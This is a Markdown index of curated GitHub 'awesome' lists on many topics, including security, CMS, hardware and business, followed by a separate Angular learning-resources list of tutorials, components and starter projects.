- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/beaconinside/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme)
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/johnfaucett/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/kennethreitz/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
## Related
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](https://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
<img src="https://angular.io/assets/images/logos/angular/angular.svg" width="240">
#### *A list of helpful material to develop using Angular*
##### Current Angular version:
##### UPDATED REPO LINKS!
For Angular 1.x education please visit https://github.com/timjacobi/angularjs-education
For Angular 2+ education please visit https://github.com/timjacobi/angular-education
#### *Contributing*
*Please send a pull request to add any links and use the issues for general questions, thanks!*
### Introduction
* [Official Angular Design Docs (Google Drive)](https://drive.google.com/drive/folders/0B7Ovm8bUYiUDR29iSkEyMk5pVUk)
* [Official Angular 2 - 5 min quickstart](https://angular.io/guide/quickstart)
* [Angular2 - First Impressions (Minko Gechev)](http://blog.mgechev.com/2015/04/06/angular2-first-impressions)
* [Angular 2 Series: Introduction (Ionic Team)](http://blog.ionic.io/angular-2-series-introduction/)
* [Video: Keynote on Angular 2 (Misko Hevery, Rado Kirov)](https://www.youtube.com/watch?v=-dMBcqwvYA0)
* [All About Angular 2.0 (Rob Eisenberg)](http://eisenbergeffect.bluespire.com/all-about-angular-2-0/)
* [The awesomeness of Angular 2 (Ciro Nunes)](https://speakerdeck.com/cironunes/the-awesomeness-of-angular-2)
* [Angular 2 and the future of HTML5 apps (Brad Green)](https://www.oreilly.com/ideas/angular-2-and-the-future-of-html5-apps)
* [From Angular 1.x ng-repeat to Angular 2 NgFor with Component](http://orizens.com/wp/topics/from-angular-1-x-ng-repeat-to-angular-2-ngfor-with-component/)
* [Migrating A Component From Angular 1.x to Angular 2](http://orizens.com/wp/topics/migrating-a-component-to-angular-2-from-angular-1-x-es2015/)
* [Angular 2: Attribute @Directive() & Creating An Infinite Scroll Directive](http://orizens.com/wp/topics/angular-2-attribute-directive-creating-an-infinite-scroll-directive/)
* [Angular 2 – Communication Between Components & Components Design](http://orizens.com/wp/topics/angular-2-communication-between-components-components-design/)
### Angular NgRx/Store
* [Adding Redux With NgRx/store and Angular2 - Part 1](http://orizens.com/wp/topics/adding-redux-with-ngrxstore-to-angular-2-part-1/)
* [Adding Redux with NgRx/store to Angular2 – Part 2 (Testing Reducers)](http://orizens.com/wp/topics/adding-redux-with-ngrxstore-to-angular2-part-2-testing-reducers/)
* [Angular 2 & NgRx/store: The NgModel In Between Use Case (from Angular 1)](http://orizens.com/wp/topics/angular-2-ngrxstore-the-ngmodel-in-between-use-case-from-angular-1/)
* [Comprehensive Introduction to @ngrx/store](https://gist.github.com/btroncone/a6e4347326749f938510)
* [Video: @ngrx/store in 10 minutes (egghead.io)](https://egghead.io/lessons/angular-2-ngrx-store-in-10-minutes)
### Angular Explained
* [Exploring Angular 2](http://blog.thoughtram.io/exploring-angular-2/)
* [Two Phases of Angular 2 Applications (Victor Savkin)](http://victorsavkin.com/post/114168430846/two-phases-of-angular-2-applications)
* [Angular 2 Template Syntax (Victor Savkin)](http://victorsavkin.com/post/119943127151/angular-2-template-syntax)
* [Change Detection in Angular 2 (Victor Savkin)](http://victorsavkin.com/post/110170125256/change-detection-in-angular-2)
* [Functional Programming in Angular 2 (Victor Savkin)](http://victorsavkin.com/post/108837493941/better-support-for-functional-programming-in)
* [Unified Dependency Injection (Victor Savkin)](http://victorsavkin.com/post/102965317996/angular-2-bits-unified-dependency-injection)
* [The Core Concepts of Angular 2](http://victorsavkin.com/post/118372404541/the-core-concepts-of-angular-2)
* [Angular 2 Template Syntax (John Lindquist)](https://egghead.io/lessons/angularjs-angular-2-template-syntax)
* [Angular 2 - Binding (es5)(John Lindquist)](https://egghead.io/lessons/angularjs-angular-2-binding-es5)
* [Angular 2 - Hello World (es5)(John Lindquist)](https://egghead.io/lessons/angularjs-angular-2-hello-world-es5)
* [Video: Zone.JS (Brian Ford)](https://www.youtube.com/watch?v=3IqtmUscE_U)
* [Angular 2 Series: Components (Ionic Team)](http://blog.ionic.io/angular-2-series-components/)
* [Video: Angular Router (Brian Ford)](https://www.youtube.com/watch?v=sfV0ApyN5fM)
* [The difference between Annotations and Decorators (Pascal Precht)](http://blog.thoughtram.io/angular/2015/05/03/the-difference-between-annotations-and-decorators.html)
* [Video: Data binding in Angular 2 (Misko Hevery)](https://angularu.com/Video/2015sf/misko-hevery-talks-about-databinding-in-angular-2)
* [Dependency Injection in Angular 2 (Pascal Precht)](http://blog.thoughtram.io/angular/2015/05/18/dependency-injection-in-angular-2.html)
* [Angular 2 Server Rendering (gdi2290 and Jeff Whelpley)](https://angularu.com/VideoSession/2015sf/angular-2-server-rendering)
* [Shadow DOM Strategies in Angular 2 (Pascal Precht)](http://blog.thoughtram.io/angular/2015/06/29/shadow-dom-strategies-in-angular2.html)
* [Routing in Angular 2 (Pascal Precht)](https://blog.thoughtram.io/angular/2016/06/14/routing-in-angular-2-revisited.html)
* [Styling Angular 2 Components (Pascal Precht)](http://blog.thoughtram.io/angular/2015/06/25/styling-angular-2-components.html)
* [Even better ES5 code for Angular 2 (Pascal Precht)](http://blog.thoughtram.io/angular/2015/07/06/even-better-es5-code-for-angular-2.html)
* [Angular 2 Template Syntax Demystified - Part 1 (Pascal Precht)](http://blog.thoughtram.io/angular/2015/08/11/angular-2-template-syntax-demystified-part-1.html)
* [Introduction to Angular 2 – The fundamentals of Components (Aleksey Novik)](http://www.webcodegeeks.com/javascript/angular-js/introduction-angular-2-fundamentals-components/)
* [Host and Visibility in Angular 2's Dependency Injection (Pascal Precht)](http://blog.thoughtram.io/angular/2015/08/20/host-and-visibility-in-angular-2-dependency-injection.html)
* [Angular 2 Cheat Sheet (WIP)](https://angular.io/cheatsheet)
* [Forward References in Angular 2 (Christoph Burgdorf)](http://blog.thoughtram.io/angular/2015/09/03/forward-references-in-angular-2.html)
* [Resolving Service Dependencies in Angular 2 (Pascal Precht)](http://blog.thoughtram.io/angular/2015/09/17/resolve-service-dependencies-in-angular-2.html)
* [Angular 2: Event Emitters(Shawn Mckay)](http://www.shmck.com/a-quick-look-at-angular-2-event-emitters/)
* [Angular 2: Properties(Shawn Mckay)](http://www.shmck.com/a-quick-look-at-angular-2-properties/)
* [Angular 2: Pipes(Shawn Mckay)](http://www.shmck.com/angular-2-pipes/)
* [How to set up Angular2 unit tests (Dima Kuzmich)](https://dimakuzmich.wordpress.com/2015/08/21/test-angular2-now-or-how-to-set-up-angular2-unit-tests/)
* [How does Angular 2 Change Detection Really Work ?](http://blog.angular-university.io/how-does-angular-2-change-detection-really-work/)
* [How to run Angular 2 in Production Today ?](http://blog.angular-university.io/how-to-run-a-production-today/)
* [The Ultimate Angular CLI Reference Guide (Jurgen Van de Moere)](https://www.sitepoint.com/ultimate-angular-cli-reference/)
### Angular Forms
* [Video: AngularJS 2.0 Forms - Extending Todo app with Forms Validation (Ajden Towfeek)](https://youtu.be/267ClmzfzvI)
* [Forms in Angular 2 (Victor Savkin)](http://angularjs.blogspot.co.uk/2015/03/forms-in-angular-2.html)
* [Angular 2 Forms (David East)](https://ngforms.firebaseapp.com/#/)
* [The Ultimate Guide to Forms in Angular 2 (ng-book)](http://blog.ng-book.com/the-ultimate-guide-to-forms-in-angular-2/)
* [Angular 2 Form Builder and Validation Management (Cory Rylan)](https://coryrylan.com/blog/angular-2-form-builder-and-validation-management)
* [JavaScript/JSON powered FORMS for ANGULAR 2 (ng2-formly)](https://github.com/formly-js/ng2-formly)
* [Introduction to Angular 2 Forms - Template Driven, Model Driven or In-Between](http://blog.angular-university.io/introduction-to-angular-2-forms-template-driven-vs-model-driven/)
### Angular Docs
* [Angular 2 Docs](https://angular.io/docs/js/latest/)
### Angular applications documentation tools
* [Compodoc](https://github.com/compodoc/compodoc) : "The missing documentation tool for your Angular 2 application", integrate well with npm scripts
* [AngularDoc](http://angulardoc.io/) : Website that display "Architectural analysis and visualization for Angular 2 projects", integrate only with a github repository
### Angular Integrations
* [Netflix: FalcorJS + Angular2 (gdi2290)](https://youtu.be/z8UgDZ4rXBU)
* [Angular2-Meteor](http://www.angular-meteor.com/angular2)
### Tutorials
* [Video: AngularJS 2.0 Overview - ToDo Application in 20 minutes](https://www.youtube.com/watch?v=rd3cLh_wn04)
* [Video: An Angular2 Todo App: First look at App Development in Angular2](https://www.youtube.com/watch?v=uD6Okha_Yj0)
* [Creating a Super Simple Todo app Using Angular 2 (Sandeep Panda)](http://www.htmlxprs.com/post/54/creating-a-super-simple-todo-app-using-angular-2-tutorial)
* [Developing A Tabs Component in Angular 2 (Pascal Precht)](http://blog.thoughtram.io/angular/2015/04/09/developing-a-tabs-component-in-angular-2.html)
* [Developing a zippy component in Angular 2 (Pascal Precht)](http://blog.thoughtram.io/angular/2015/03/27/building-a-zippy-component-in-angular-2.html)
* [Angular 2 Singleton Service (Raúl Jiménez)](http://twofuckingdevelopers.com/2015/04/angular-2-singleton-service/)
* [Angular 2 Shadow DOM Emulation (Dylan Barrell)](http://unobfuscated.blogspot.co.uk/2015/03/posts-from-edge-angular-2-shadow-dom.html)
* [Injecting Parents into Angular2 Components (Dylan Barrell)](http://unobfuscated.blogspot.com/2015/03/posts-from-edge-injecting-parents-into.html)
* [An Introduction to Angular 2 (Jesus Rodriguez)](http://angular-tips.com/blog/2015/05/an-introduction-to-angular-2/)
* [Video: Getting started with Angular 2 developer preview](https://www.youtube.com/watch?v=HmWm21cCAXM)
* [Video: Creating d3 components with Angular2 and TypeScript (gdi2290 and Aysegul Yonet)](https://www.youtube.com/watch?v=x296y5mErWI&feature=youtu.be)
* [Video: Migrating an Angular 1.x app to Angular 2 (David East)](https://angularu.com/VideoSession/2015sf/migrating-to-angular2)
* [Complete guide of Angular 2](https://www.udemy.com/the-complete-guide-to-angular-2/)
* [recursive treeview in angular 2.0 (Torgeir Helgevold)](http://www.syntaxsuccess.com/viewarticle/recursive-treeview-in-angular-2.0)
* [How to publish a library for Angular 2 on npm (Olivier Combe)](https://medium.com/@OCombe/how-to-publish-a-library-for-angular-2-on-npm-5f48cdabf435)
* [Angular 2 Observable Data Services (Cory Rylan)](https://coryrylan.com/blog/angular-2-observable-data-services)
* [Angular 2 Text Snippet Directive (Cory Rylan)](https://coryrylan.com/blog/angular-2-text-snippet-directive)
* [In-depth Guide: Creating Your First Angular 2 Component (Thomas Greco, Scotch.io)](https://scotch.io/tutorials/creating-your-first-angular-2-components)
* [@AngularClass - Angular 2 Fundamentals](http://courses.angularclass.com/courses/angular-2-fundamentals)
* [@TutorialEdge - Angular Fundamentals](https://tutorialedge.net/course/angular-2-fundamentals)
* [Angular 2 Tutorial: Create a CRUD App with Angular CLI (Todd Motto, Jurgen Van de Moere)](https://www.sitepoint.com/angular-2-tutorial/)
* [Understanding Component Architecture: Refactoring an Angular App (Jurgen Van de Moere)](https://www.sitepoint.com/understanding-component-architecture-angular/)
### Components
* [Element Angular](https://github.com/eleme/element-angular) Angular UI library
* [Awsome Angular Components](https://github.com/Chyngyz/awesome-angular-components)
* [Axponents: of Accessible Web Components (Dylan Barrell)](https://github.com/dylanb/Axponents/tree/master/angular2)
* [Simple Example Components: TreeView, Grid, Input Values and Bindings, Core Directives, How to ignore view bindings (Torgeir Helgevold)](http://www.syntaxsuccess.com/viewarticle/angular-2.0-examples)
* [ng-bootstrap](https://github.com/ng-bootstrap/ng-bootstrap) Angular 2 powered Bootstrap by the angular-ui/bootstrap team
* [ng2-bootstrap](https://github.com/valor-software/ng2-bootstrap) Native Angular2 Bootstrap 3&4 components
* [ng2-charts](https://github.com/valor-software/ng2-charts) Beautiful charts for Angular2 based on Chart.js
* [ng2-dragula](https://github.com/valor-software/ng2-dragula) Drag and Drop so simple it hurts!
* [ng2-file-upload](https://github.com/valor-software/ng2-file-upload) Easy to use file upload directives
* [ng2-handsontable](https://github.com/valor-software/ng2-handsontable) Excel-like data grid / spreadsheet
* [ng2-select](https://github.com/valor-software/ng2-select) Angular2 based replacement for select boxes
* [ng2-table](https://github.com/valor-software/ng2-table) Simple table extension with sorting, filtering, paging... for Angular2 apps
* [angular2-data-table](https://github.com/swimlane/angular2-data-table) Yet table extension with sorting, filtering, paging...
* [file-droppa] (https://github.com/ptkach/fileDroppa) Angular2 file upload and file list directives
* [angular2-google-maps](https://github.com/SebastianM/angular2-google-maps) Angular2 directives for Google Maps.
* [angular2localization](https://github.com/robisim74/angular2localization) An Angular 2 library to translate messages, dates and numbers.
* [primeng](http://www.primefaces.org/primeng/) collection of rich UI components for Angular2.
* [Angular2 Infinite Scroll Directive](https://www.npmjs.com/package/angular2-infinite-scroll) Infinite Scroll Component
* [ng2-bs3-modal](https://github.com/dougludlow/ng2-bs3-modal) Angular2 Bootstrap3 Modal Component
* [ng2-swipeable-card](https://github.com/JayKan/ng2-swipeable-card) Material Design Angular2 Swipeable Card Component
* [ngx-pipes](https://github.com/danrevah/ngx-pipes) Useful pipes for Angular2 and beyond!
* [ngx-charts](https://github.com/swimlane/ngx-charts) - Declarative Charting Framework for Angular2 and beyond!
* [ngx-datatable](https://github.com/swimlane/ngx-datatable) A feature-rich yet lightweight data-table crafted for Angular2 and beyond!
* [ngx-ui](https://github.com/swimlane/ngx-ui) - Style and Component Library for Angular2 and beyond!
* [ng2-inline-editor](https://github.com/caballerog/ng2-inline-editor) An Angular 2 Component to edit inline any text.
* [angular2-circle-progress](https://github.com/Feridum/angular2-circle-progress) Simple Angular 2 Circle Progress Component
* [od-virtualscroll](https://github.com/dinony/od-virtualscroll) Observable-based virtual scroll implementation in Angular
### Boilerplates
* [Angular CLI - Official command-line generator for Angular 2 apps](https://github.com/angular/angular-cli)
* [Github: ng2-play (Pawel Kozlowski)](https://github.com/pkozlowski-opensource/ng2-play)
* [Github: ng2-lab (Roland Groza)](https://github.com/rolandjitsu/ng2-lab)
* [Github: Angular2 Babel App](https://github.com/shuhei/babel-angular2-app)
* [Github: Angular2 Sandbox (Gion Kunz)](https://github.com/gionkunz/angular2-sandbox)
* [Yeoman: generator-modern-web-dev (NG2, TypeScript, ES2015, SASS, ... and completely separate build system) (Sebastien Dubois)](https://www.npmjs.com/package/generator-modern-web-dev)
* [Yeoman: generator-angular2 (Chris Wheatley)](https://www.npmjs.com/package/generator-angular2)
* [Yeoman: generator-mcfly-ng2 (Avi Haiat)](https://www.npmjs.com/package/generator-mcfly-ng2)
* [Slush: slush-angular2 (Ryan Usumi)](https://www.npmjs.com/package/slush-angular2)
* [slush-ng2-play](https://www.npmjs.com/package/slush-ng2-play) *Generator of minimum Angular2 with ES6, based on ng2-play from pkozlowski-opensource*
* [Plunkr: Angular2 + Typescript Template (@radotzki)](http://plnkr.co/edit/gzRRa8)
* [Plunkr: Angular2 + ES6 Template](http://plnkr.co/edit/QZ6c6cRnvOyQ71FkowZO?p=preview)
* [Github: Angular2 + Webpack + TypeScript (gdi2290 AngularClass)](https://github.com/AngularClass/angular2-webpack-starter)
* [Github: Angular2 + TypeScript in baby steps (Zia Khan)](https://github.com/panacloud/learn-angular2)
* [Github: Angular2 Seed TypeScript (Minko Gechev)](https://github.com/mgechev/angular2-seed)
* [Github: Angular2 Minimalist Starter (Roger Padilla)](https://github.com/rogerpadilla/angular2-minimalist-starter)
* [Github: Angular2 + TypeScript: Seed Project (@ghpabs)](https://github.com/ghpabs/angular2-seed-project) Fully automated development workflow using Gulp.
* [Github: Angular2 Starter for TypeScript (Antony Budianto)](https://github.com/antonybudianto/angular2-starter) Complete Gulp Workflow
